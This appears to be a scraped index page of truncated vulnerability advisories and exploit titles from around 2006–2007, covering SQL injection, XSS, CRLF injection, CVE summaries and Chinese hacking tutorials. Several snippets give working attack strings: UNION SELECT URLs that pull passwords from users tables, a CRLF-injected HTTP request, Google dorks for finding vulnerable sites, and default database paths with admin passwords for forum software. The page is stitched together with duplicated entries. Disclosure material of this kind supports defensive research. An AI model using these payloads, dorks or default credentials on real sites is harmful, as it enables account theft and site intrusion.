[Full-disclosure] paFileDB 3.6 (search.php) Remote SQL Injection

Site: http://www.phparena.net/pafiledb Description: SQL injection categories in includes/search.php Code: $results = $db-GetArray"SELECT FROM ".$dbPrefix."files WHERE ".$searchin." AND filecatid IN ".implode',', $POST'categories'.""; Comment:"ouuch" SQL: UNION SELECT ALL...

paFileDB 3.6 (search.php) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ============================================================ paFileDB 3.6 search.php Remote SQL Injection Vulnerability ============================================================ Site: http://www.phparena.net/pafiledb Description: SQL...

Various sites program's default database-vulnerability warning-the black bar safety net

Action Network: The default database /data/dvbbs7. mdb BACKUP DATABASE /databackup/dvbbs7. mdb Front: Username: admin Key code: admin888 Background: Username: admin Key code: admin888 --------------- bbsxp: The default database database/bbsxp. mdb ＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿ LeadBBS The default database...

CPCommerce 1.1.0 - id_category SQL Injection

CPCommerce 1.1.0 - idcategory SQL Injection 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15...

Unfixed XSS vulnerability at mobile.banananetwork.com

Security researcher Hotpockets, has submitted on 24/05/2007 a cross-site-scripting XSS vulnerability affecting mobile.banananetwork.com, which at the time of submission ranked 235370 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 24/05/2007. I...

igshop-sql.txt

Discovered by: gsy & kerem125 Website: www.kerem125.com Script Download: http://www.igeneric.co.uk/ig-shopping-cart.html exploit:/shop/page.php?pagetype=catalognavigate&typeid=-99%20union//select//password//from//users/...

iG Shop 1.4 - 'page.php' SQL Injection

Discovered by: gsy & kerem125 Website: www.kerem125.com Script Download: http://www.igeneric.co.uk/ig-shopping-cart.html exploit:/shop/page.php?pagetype=catalognavigate&typeid=-99%20union//select//password//from//users/...

iG Shop 1.4 - page.php SQL Injection

iG Shop 1.4 - page.php SQL Injection Discovered by: gsy & kerem125 Website: www.kerem125.com Script Download: http://www.igeneric.co.uk/ig-shopping-cart.html exploit:/shop/page.php?pagetype=catalognavigate&typeid=-99%20union//select//password//from//users/...

Drake CMS (v0.4.0) - CRLF Injection Vulnerability

Drake CMS v0.4.0 - CRLF Injection Vulnerability Vulnerable files: index.php HTTP Request: ------------- POST /index.php?lang=0d0aINJECTEDHEADER3Ainjecteddata HTTP/1.0 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Browser/1.0 compatible; MSIE 6.0; Windows NT 5.0; .NET CLR...

AspWebCalendar 4.5 - eventid SQL Injection

AspWebCalendar 4.5 - eventid SQL Injection Title : aspWebCalendar Remote SQL Injection Vulnerability Author : parad0x Contact : : D.Page : http://www.scriptdungeon.com/script.php?ScriptID=4306 $$ : free S.Page : http://fullrevolution.com http://target/path/calendar.asp?action=viewevent&eventid=SQ...

Online Web Building v2.0 (id) Remote SQL Injection

---------------------------------------------------------------------- Online Web Building v2.0 id Remote SQL Injection ----------------------------------------------------------------------- Bulan: xoron ----------------------------------------------------------------------- Download:...

dB Masters' Curium CMS <= 1.03(c_id) Remote Blind SQL Injection Vulnerability

Title : dB Masters' Curium CMS = 1.03cid Remote Blind SQL Injection Vulnerability Author : ajann Contact : : S.Page : http://www.dbmasters.net $$ : Free Dork : Powered by dB Masters' Curium CMS 1 DorkEx : http://www.google.com.tr/search?q=Powered+by+dB+Masters27+Curium+CMS+1&hl=tr&start=0&sa=N In...

PHP Membership Manager Cross-Site Scripting Vulnerability

PHP Membership Manager Cross-Site Scripting Vulnerability PHP Membership Manager is a browser based tool which allows a site owner to easily manage an unlimited number of username / password accounts and groups which access secure, protected areas of a web site which require logging in before...

CVE-2006-6350

listpics 5 stores sensitive data under the web root with insufficient access control, which allows remote attackers to download a database via a direct request for listpics.mdb...

Pass to eat all the Mall-vulnerability warning-the black bar safety net

Tutorial content: Today to teach you a pass to kill the Mall method! of! Is actually change the idea of it!!!! Very simple!! To prepare a site Hunter. Pony. The Malaysian one!! We first go to open site Hunter! Search below this paragraph!! Keywords: To buy-cart-go to the cashier-confirm consignee...

CVE-2006-5702

TikiWiki 1.9.5 is affected by an information-disclosure vulnerability where an empty sort_mode parameter in multiple pages (e.g., tiki-lastchanges.php, tiki-listpages.php, tiki-forums.php, tiki-view_forum.php, tiki-manager pages) causes database credentials (MySQL username and password) to be exp...

Invision Power Board 2.1 < 2.1.6 - SQL Injection (1)

!/usr/bin/perl Invision Power Board v2.1 "r57ipb216gui" ; $mw-geometry '420x550' ; $mw-resizable0,0; $mw-Label-text = '!', -font = 'Webdings 22'-pack; $mw-Label-text = 'Invision Power Board 2.1. 'Verdana 7 bold',-foreground='red'-pack; $mw-Label-text = ''-pack; $fleft=$mw-Frame-pack -side = 'left...

CVE-2006-3557

CVE-2006-3557 affects MT Orumcek Toplist 2.2, which stores DB/orumcektoplist.mdb under the web root with insufficient access control, enabling remote attackers to obtain sensitive information via a direct request. The cited CVSSv2 base score is 5.0 (Network, Low attack complexity, No authenticati...

CVE-2006-2948

Technical details about CVE-2006-2948 are not provided in the connected documents; only the generic description is available. Monitor for updates from official advisories.

Collateral: the use of tools to crack Foxmail password-vulnerability warning-the black bar safety net

Foxmail in the country has a large number of users due to various reasons, many users need to Foxmail inside of email messages, email account settings, etc. transferred to other E-mail software, or forgot the account password, email password and put your own lock on the door. However, due to the...